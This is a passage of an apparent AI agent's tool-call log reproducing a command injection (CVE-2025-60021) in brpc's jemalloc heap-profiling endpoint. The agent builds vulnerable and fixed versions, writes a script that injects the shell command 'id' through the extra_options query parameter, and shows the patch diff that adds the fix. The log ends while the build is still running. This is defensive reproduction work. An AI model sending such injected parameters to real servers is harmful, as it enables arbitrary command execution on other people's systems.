note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from ../../output/include/butil/object_pool.h:73,\n                 from ../../output/include/brpc/rpc_pb_message_factory.h:25,\n                 from ../../output/include/brpc/server.h:47:\n../../output/include/butil/object_pool_inl.h: In instantiation of ‘static butil::ObjectPool<T>* butil::ObjectPool<T>::singleton() [with T = brpc::internal::ArenaRpcPBMessages<256, 8192>]’:\n../../output/include/butil/object_pool.h:86:36:   required from ‘T* butil::get_object(Args&& ...) [with T = brpc::internal::ArenaRpcPBMessages<256, 8192>; Args = {brpc::internal::ArenaRpcPBMessages<256, 8192>::ArenaOptionsWrapper&}]’\n../../output/include/brpc/rpc_pb_message_factory.h:106:62:   required from ‘brpc::RpcPBMessages* brpc::internal::ArenaRpcPBMessageFactory<StartBlockSize, MaxBlockSize>::Get(const google::protobuf::Service&, const google::protobuf::MethodDescriptor&) [with long unsigned int StartBlockSize = 256; long unsigned int MaxBlockSize = 8192]’\n../../output/include/brpc/rpc_pb_message_factory.h:103:20:   required from here\n../../output/include/butil/object_pool_inl.h:349:17: warning: ‘new’ of type ‘butil::ObjectPool<brpc::internal::ArenaRpcPBMessages<256, 8192> >’ with extended alignment 64 [-Waligned-new=]\n  349 |             p = new ObjectPool();\n      |                 ^~~~~~~~~~~~~~~~\n../../output/include/butil/object_pool_inl.h:349:17: note: uses ‘void* operator new(std::size_t)’, which does not have an alignment parameter\n../../output/include/butil/object_pool_inl.h:349:17: note: use ‘-faligned-new’ to enable C++17 over-aligned new support\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 89,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:54:40.965151Z",
      "duration": 0.005587227999967581,
      "request": {
        "command": "kill 24656",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 90,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:54:47.815293Z",
      "duration": 0.00711851400001251,
      "request": {
        "command": "MALLOC_CONF=\"prof:true\" LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2 JEPROF_FILE=/usr/bin/jeprof /home/user/pruva/work/brpc-1.15.0/example/echo_c++/echo_server --port=8000 > /home/user/pruva/work/logs/echo_server_fixed.log 2>&1 & echo $!",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "28448\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 91,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:54:58.568441Z",
      "duration": 5.2767091850000725,
      "request": {
        "command": "sleep 2 && curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" | grep -n \"uid\" | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 92,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:55:10.724411Z",
      "duration": 3.126127604999965,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "./rpc_data/profiling/pprof_300c1c67eb92fbf937a6c75d138f2f32/20260120.235507.heap\ncmd: /usr/bin/jeprof /home/user/pruva/work/brpc-1.15.0/example/echo_c++/echo_server ./rpc_data/profiling/pprof_300c1c67eb92fbf937a6c75d138f2f32/20260120.235507.heap --text \nTotal: 13.0 MB\n     4.4  33.9%  33.9%      4.4  33.9% butil::ResourcePool::add_block_group (inline)\n     2.6  20.3%  54.3%      2.6  20.3% butil::ObjectPool::add_block_group (inline)\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 93,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:55:19.217946Z",
      "duration": 3.1870690769997054,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" > /home/user/pruva/work/logs/fixed_response.txt",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 94,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:55:27.587864Z",
      "duration": 0.004732198000056087,
      "request": {
        "command": "kill 28448",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 95,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:55:59.385557Z",
      "duration": 0.011553665000064939,
      "request": {
        "command": "mkdir -p /home/user/pruva/repro /home/user/pruva/logs",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 96,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:56:20.017470Z",
      "duration": 0.013926548000199546,
      "request": {
        "command": "cat > /home/user/pruva/repro/reproduction_steps.sh << 'EOF'\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"$0\")/..\" && pwd)\"\nWORKDIR=\"$ROOT/work\"\nLOG_DIR=\"$ROOT/logs\"\nmkdir -p \"$WORKDIR\" \"$LOG_DIR\"\n\ncleanup() {\n  if [[ -n \"${VULN_PID:-}\" ]]; then\n    kill \"$VULN_PID\" 2>/dev/null || true\n  fi\n  if [[ -n \"${FIXED_PID:-}\" ]]; then\n    kill \"$FIXED_PID\" 2>/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\nlog() {\n  echo \"[repro] $*\"\n}\n\ninstall_deps() {\n  log \"Installing build dependencies\"\n  if ! apt-get update; then\n    echo \"BLOCKED: apt-get update failed\" | tee \"$LOG_DIR/blocked.txt\"\n    exit 99\n  fi\n  if ! apt-get install -y \\\n      build-essential cmake git curl \\\n      libprotobuf-dev protobuf-compiler \\\n      libgflags-dev libgoogle-glog-dev libleveldb-dev \\\n      libssl-dev zlib1g-dev liblz4-dev libjemalloc-dev; then\n    echo \"BLOCKED: apt-get install failed\" | tee \"$LOG_DIR/blocked.txt\"\n    exit 99\n  fi\n}\n\nprepare_repo() {\n  if [[ ! -d \"$WORKDIR/brpc/.git\" ]]; then\n    log \"Cloning brpc\"\n    git clone https://github.com/apache/brpc.git \"$WORKDIR/brpc\"\n  else\n    log \"Updating brpc tags\"\n    git -C \"$WORKDIR/brpc\" fetch --tags\n  fi\n\n  if [[ ! -d \"$WORKDIR/brpc-1.14.1\" ]]; then\n    git -C \"$WORKDIR/brpc\" worktree add \"$WORKDIR/brpc-1.14.1\" 1.14.1\n  fi\n  if [[ ! -d \"$WORKDIR/brpc-1.15.0\" ]]; then\n    git -C \"$WORKDIR/brpc\" worktree add \"$WORKDIR/brpc-1.15.0\" 1.15.0\n  fi\n}\n\nbuild_brpc() {\n  local version_dir=\"$1\"\n  log \"Building brpc in $version_dir\"\n  mkdir -p \"$version_dir/build\"\n  (cd \"$version_dir/build\" && cmake ..)\n  (cd \"$version_dir/build\" && make -j2)\n\n  (cd \"$version_dir\" && ./config_brpc.sh --headers=/usr/include --libs=/usr/lib/x86_64-linux-gnu)\n  if [[ ! -e \"$version_dir/output\" ]]; then\n    ln -s \"$version_dir/build/output\" \"$version_dir/output\"\n  fi\n\n  (cd \"$version_dir/example/echo_c++\" && make -j2)\n}\n\nstart_server() {\n  local binary_path=\"$1\"\n  local log_path=\"$2\"\n  MALLOC_CONF=\"prof:true\" \\\n  LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2 \\\n  JEPROF_FILE=/usr/bin/jeprof \\\n  \"$binary_path\" --port=8000 > \"$log_path\" 2>&1 &\n  echo $!\n}\n\ncheck_status() {\n  for _ in $(seq 1 10); do\n    if curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:8000/status | grep -q 200; then\n      return 0\n    fi\n    sleep 1\n  done\n  return 1\n}\n\ninstall_deps\nprepare_repo\n\nbuild_brpc \"$WORKDIR/brpc-1.14.1\"\n\nlog \"Starting vulnerable server\"\nVULN_PID=$(start_server \"$WORKDIR/brpc-1.14.1/example/echo_c++/echo_server\" \"$LOG_DIR/echo_server_vuln.log\")\nif ! check_status; then\n  echo \"BLOCKED: vulnerable server failed to start\" | tee \"$LOG_DIR/blocked.txt\"\n  exit 99\nfi\n\nlog \"Triggering command injection\"\nVULN_RESP=\"$LOG_DIR/vuln_response.txt\"\ncurl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" | tee \"$VULN_RESP\" >/dev/null\nif ! grep -q \"uid=\" \"$VULN_RESP\"; then\n  echo \"FAIL: command injection not observed in vulnerable build\" | tee \"$LOG_DIR/failed.txt\"\n  exit 1\nfi\n\nkill \"$VULN_PID\" 2>/dev/null || true\nsleep 2\n\nbuild_brpc \"$WORKDIR/brpc-1.15.0\"\n\nlog \"Starting fixed server\"\nFIXED_PID=$(start_server \"$WORKDIR/brpc-1.15.0/example/echo_c++/echo_server\" \"$LOG_DIR/echo_server_fixed.log\")\nif ! check_status; then\n  echo \"BLOCKED: fixed server failed to start\" | tee \"$LOG_DIR/blocked.txt\"\n  exit 99\nfi\n\nlog \"Validating fix (no command injection)\"\nFIXED_RESP=\"$LOG_DIR/fixed_response.txt\"\ncurl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" | tee \"$FIXED_RESP\" >/dev/null\nif grep -q \"uid=\" \"$FIXED_RESP\"; then\n  echo \"FAIL: command injection still possible in fixed build\" | tee \"$LOG_DIR/failed.txt\"\n  exit 1\nfi\n\nlog \"Reproduction successful\"\nexit 0\nEOF\nchmod +x /home/user/pruva/repro/reproduction_steps.sh",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 97,
      "name": "run_shell_background",
      "timestamp": "2026-01-20T23:56:30.436312Z",
      "duration": 0.0,
      "request": {
        "command": "/home/user/pruva/repro/reproduction_steps.sh",
        "timeout": 600.0
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "started"
      }
    },
    {
      "index": 98,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:56:36.348345Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 5.9,
        "returncode": null
      }
    },
    {
      "index": 99,
      "name": "add_memory_item",
      "timestamp": "2026-01-20T23:56:44.205563Z",
      "duration": 3.340500006743241e-05,
      "request": {
        "description": "Vulnerable in brpc 1.14.1: jemalloc_profiler.cpp appends user-supplied extra_options directly to jeprof command (cmd_str += \" --\" + *uri_extra_options + \" \"), enabling shell metacharacter injection when read_command_output executes via /bin/sh -c.",
        "status": "active"
      },
      "response": {
        "item_id": "3017f521-9dfd-429c-bdb1-511236ea992b",
        "status": "active"
      }
    },
    {
      "index": 100,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:56:50.675897Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 20.2,
        "returncode": null
      }
    },
    {
      "index": 101,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:56:56.250463Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 25.8,
        "returncode": null
      }
    },
    {
      "index": 102,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:57:03.122312Z",
      "duration": 0.022391401000277256,
      "request": {
        "command": "git -C /home/user/pruva/work/brpc diff 1.14.1..1.15.0 -- src/brpc/details/jemalloc_profiler.cpp | tee /home/user/pruva/logs/jemalloc_profiler.patch",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "diff --git a/src/brpc/details/jemalloc_profiler.cpp b/src/brpc/details/jemalloc_profiler.cpp\nindex c14d5490..fdd06fb4 100644\n--- a/src/brpc/details/jemalloc_profiler.cpp\n+++ b/src/brpc/details/jemalloc_profiler.cpp\n@@ -166,6 +166,23 @@ static int JeProfileReset(size_t lg_sample) {\n     return 0;\n }\n \n+// https://github.com/jemalloc/jemalloc/blob/5.3.0/bin/jeprof.in#L211-L222\n+static const std::unordered_set<const char*> g_extra_options_set = {\n+    \"inuse_space\", \"inuse_objects\", \"alloc_space\",\n+    \"alloc_objects\", \"show_bytes\", \"drop_negative\",\n+    \"total_delay\", \"contentions\", \"mean_delay\"\n+};\n+\n+std::string GlobalExtraOptionsString() {\n+    std::string result;\n+    result.reserve(64);\n+    for (const auto& option : g_extra_options_set) {\n+        result.append(option);\n+        result.append(\" \");\n+    }\n+    return result;\n+}\n+\n void JeControlProfile(Controller* cntl) {\n     const brpc::URI& uri = cntl->http_request().uri();\n     // http:ip:port/pprof/heap?display=(text|svg|stats|flamegraph)&extra_options=(inuse_space|inuse_objects..)\n@@ -228,13 +245,20 @@ void JeControlProfile(Controller* cntl) {\n     }\n     const std::string process_file(process_path, len);\n \n-    std::string cmd_str = jeprof + \" \" + process_file + \" \" + prof_name;\n+    std::string cmd_str = butil::string_printf(\n+        \"%s %s %s\", jeprof.c_str(), process_file.c_str(), prof_name.c_str());\n \n     // https://github.com/jemalloc/jemalloc/blob/5.3.0/bin/jeprof.in#L211-L222\n     // e.g: inuse_space, contentions\n     const std::string* uri_extra_options = uri.GetQuery(\"extra_options\");\n     if (uri_extra_options != nullptr && !uri_extra_options->empty()) {\n-        cmd_str += \" --\" + *uri_extra_options + \" \";\n+        if (g_extra_options_set.count(uri_extra_options->c_str()) > 0) {\n+            butil::string_appendf(&cmd_str, \" --%s\", uri_extra_options->c_str());\n+        } else {\n+            static std::string g_options_str = GlobalExtraOptionsString();\n+            LOG(WARNING) << \"Unsupported jemalloc options=\" << *uri_extra_options\n+                         << \", only support [\" << g_options_str << \"]\";\n+        }\n     }\n \n     bool display_img = false;\n@@ -244,12 +268,14 @@ void JeControlProfile(Controller* cntl) {\n     } else if (*uri_display == \"flamegraph\") {\n         const char* flamegraph_tool = getenv(\"FLAMEGRAPH_PL_PATH\");\n         if (!flamegraph_tool) {\n-            LOG(WARNING) << \" display: \" << *uri_display << \" invalid, env FLAMEGRAPH_PL_PATH invalid\";\n+            LOG(WARNING) << \" display: \" << *uri_display\n+                         << \" invalid, env FLAMEGRAPH_PL_PATH invalid\";\n             buf.append(\"\\ndisplay:\" + *uri_display + \" invalid, env FLAMEGRAPH_PL_PATH invalid\"); \n             return;\n         }\n         const int width_size = FLAGS_max_flame_graph_width > 0 ? FLAGS_max_flame_graph_width : 1200;\n-        cmd_str += \" --collapsed | \" + std::string(flamegraph_tool) + \" --colors mem --width \" + std::to_string(width_size);\n+        butil::string_appendf(&cmd_str, \" --collapsed | %s --colors mem --width %d\",\n+                              flamegraph_tool, width_size);\n         display_img = true;\n     } else if (*uri_display == \"text\") {\n         cmd_str += \" --text \";\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 103,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:57:09.518041Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 39.1,
        "returncode": null
      }
    },
    {
      "index": 104,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:57:16.400825Z",
      "duration": 0.012878830999852653,
      "request": {
        "command": "grep -R \"read_command_output\" -n /home/user/pruva/work/brpc-1.14.1/src/butil/popen.cpp",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "57:int read_command_output_through_clone(std::ostream& os, const char* cmd) {\n158:int read_command_output_through_popen(std::ostream& os, const char* cmd) {\n196:int read_command_output(std::ostream& os, const char* cmd) {\n198:    return read_command_output_through_popen(os, cmd);\n201:        ? read_command_output_through_clone(os, cmd)\n202:        : read_command_output_through_popen(os, cmd);\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 105,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:57:22.159776Z",
      "duration": 0.013943521999863151,
      "request": {
        "command": "sed -n '140,230p' /home/user/pruva/work/brpc-1.14.1/src/butil/popen.cpp",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "    if (pipe_fd[0] >= 0) {\n        close(pipe_fd[0]);\n    }\n    if (pipe_fd[1] >= 0) {\n        close(pipe_fd[1]);\n    }\n    errno = saved_errno;\n    return rc;\n}\n\nDEFINE_bool(run_command_through_clone, false,\n            \"(Linux specific) Run command with clone syscall to \"\n            \"avoid the costly page table duplication\");\n\n#endif // OS_LINUX\n\n#include <stdio.h>\n\nint read_command_output_through_popen(std::ostream& os, const char* cmd) {\n    FILE* pipe = popen(cmd, \"r\");\n    if (pipe == NULL) {\n        return -1;\n    }\n    char buffer[1024];\n    for (;;) {\n        size_t nr = fread(buffer, 1, sizeof(buffer), pipe);\n        if (nr != 0) {\n            os.write(buffer, nr);\n        }\n        if (nr != sizeof(buffer)) {\n            if (feof(pipe)) {\n                break;\n            } else if (ferror(pipe)) {\n                LOG(ERROR) << \"Encountered error while reading for the pipe\";\n                break;\n            }\n            // retry;\n        }\n    }\n\n    const int wstatus = pclose(pipe);\n\n    if (wstatus < 0) {\n        return wstatus;\n    }\n    if (WIFEXITED(wstatus)) {\n        return WEXITSTATUS(wstatus);\n    }\n    if (WIFSIGNALED(wstatus)) {\n        os << \"Child process was killed by signal \"\n           << WTERMSIG(wstatus);\n    }\n    errno = ECHILD;\n    return -1;\n}\n\nint read_command_output(std::ostream& os, const char* cmd) {\n#if !defined(OS_LINUX)\n    return read_command_output_through_popen(os, cmd);\n#else\n    return FLAGS_run_command_through_clone\n        ? read_command_output_through_clone(os, cmd)\n        : read_command_output_through_popen(os, cmd);\n#endif\n}\n\n}  // namespace butil\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 106,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:57:28.680322Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 58.2,
        "returncode": null
      }
    },
    {
      "index": 107,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:57:35.349308Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 64.9,
        "returncode": null
      }
    },
    {
      "index": 108,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:57:41.073781Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 70.6,
        "returncode": null
      }
    },
    {
      "index": 109,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:57:47.503503Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 77.1,
        "returncode": null
      }
    },
    {
      "index": 110,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:57:53.673505Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 83.2,
        "returncode": null
      }
    },
    {
      "index": 111,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:57:59.716794Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 89.3,
        "returncode": null
      }
    },
    {
      "index": 112,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:58:11.480601Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 101.0,
        "returncode": null
      }
    },
    {
      "index": 113,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:58:17.746803Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 107.3,
        "returncode": null
      }
    },
    {
      "index": 114,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:58:23.157277Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 112.7,
        "returncode": null
      }
    },
    {
      "index": 115,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:58:27.871695Z",
      "duration": 0.04316606899965336,
      "request": {
        "command": "ps -ef | grep reproduction_steps.sh | grep -v grep",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     28718 19498  0 23:56 ?        00:00:00 /bin/sh -c /home/user/pruva/repro/reproduction_steps.sh\nroot     28719 28718  0 23:56 ?        00:00:00 bash /home/user/pruva/repro/reproduction_steps.sh\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 116,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:58:34.824124Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 124.4,
        "returncode": null
      }
    },
    {
      "index": 117,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:58:42.483810Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 132.0,
        "returncode": null
      }
    },
    {
      "index": 118,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:58:49.339758Z",
      "duration": 0.03489329300009558,
      "request": {
        "command": "ps -ef | grep make | grep -v grep | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29007 28719  0 23:56 ?        00:00:00 make -j2\nroot     29010 29007  0 23:56 ?        00:00:00 make -s -f CMakeFiles/Makefile2 all\nroot     29030 29010  0 23:56 ?        00:00:00 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 119,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:58:55.787151Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 145.4,
        "returncode": null
      }
    },
    {
      "index": 120,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:59:00.677146Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 150.2,
        "returncode": null
      }
    },
    {
      "index": 121,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:59:06.574492Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 156.1,
        "returncode": null
      }
    },
    {
      "index": 122,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:59:14.223930Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 163.8,
        "returncode": null
      }
    },
    {
      "index": 123,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:59:22.485285Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 172.1,
        "returncode": null
      }
    },
    {
      "index": 124,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:59:28.175025Z",
      "duration": 0.034254063999924256,
      "request": {
        "command": "ps -ef | grep make | grep -v grep | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29007 28719  0 23:56 ?        00:00:00 make -j2\nroot     29010 29007  0 23:56 ?        00:00:00 make -s -f CMakeFiles/Makefile2 all\nroot     29030 29010  0 23:56 ?        00:00:00 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 125,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:59:33.331673Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 182.9,
        "returncode": null
      }
    },
    {
      "index": 126,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:59:42.431573Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 192.0,
        "returncode": null
      }
    },
    {
      "index": 127,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:59:48.516894Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 198.1,
        "returncode": null
      }
    },
    {
      "index": 128,
      "name": "poll_task",
      "timestamp": "2026-01-20T23:59:58.181567Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 207.7,
        "returncode": null
      }
    },
    {
      "index": 129,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:00:06.927487Z",
      "duration": 0.03485330400008024,
      "request": {
        "command": "ps -ef | grep make | grep -v grep | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29007 28719  0 Jan20 ?        00:00:00 make -j2\nroot     29010 29007  0 Jan20 ?        00:00:00 make -s -f CMakeFiles/Makefile2 all\nroot     29030 29010  0 Jan20 ?        00:00:00 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 130,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:00:14.711499Z",
      "duration": 0.024420107999958418,
      "request": {
        "command": "ps -o pid,etimes,cmd -p 29007,29010,29030",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "  PID ELAPSED CMD\n29007     216 make -j2\n29010     216 make -s -f CMakeFiles/Makefile2 all\n29030     215 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 131,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:00:21.422527Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 231.0,
        "returncode": null
      }
    },
    {
      "index": 132,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:00:28.036898Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 237.6,
        "returncode": null
      }
    },
    {
      "index": 133,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:00:36.188223Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 245.8,
        "returncode": null
      }
    },
    {
      "index": 134,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:00:43.254609Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 252.8,
        "returncode": null
      }
    },
    {
      "index": 135,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:00:49.927266Z",
      "duration": 0.024792437000087375,
      "request": {
        "command": "ps -o pid,etimes,cmd -p 29007,29010,29030",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "  PID ELAPSED CMD\n29007     251 make -j2\n29010     251 make -s -f CMakeFiles/Makefile2 all\n29030     250 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 136,
      "name": "poll_task",
